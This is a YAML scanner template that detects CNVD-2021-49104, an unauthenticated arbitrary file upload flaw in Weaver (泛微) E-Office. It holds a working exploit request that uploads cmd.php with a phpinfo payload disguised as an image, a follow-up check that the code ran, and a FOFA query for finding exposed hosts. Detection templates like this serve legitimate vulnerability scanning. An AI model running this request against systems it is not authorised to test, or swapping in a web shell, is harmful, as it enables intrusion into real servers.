CNVD-2021-49104: 泛微OA E-Office UploadFile.php 任意文件上传漏洞

id: CNVD-2021-49104

info:
  name: 泛微OA E-Office UploadFile.php 任意文件上传漏洞
  author: zan8in
  severity: critical
  description: |-
    在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件，攻击者可以通过该漏洞直接获取网站权限
    fofa: app="泛微-协同办公OA" || app="Weaver-OA"
  reference:
    - https://www.cnvd.org.cn/patchInfo/show/270651
  tags: cnvd,cnvd2021,unauth,upload,general
  created: 2021/10/23

set:
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.php\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        <?php phpinfo();?>\r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /images/logo/logo-eoffice.php
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version')
expression: r0() && r1()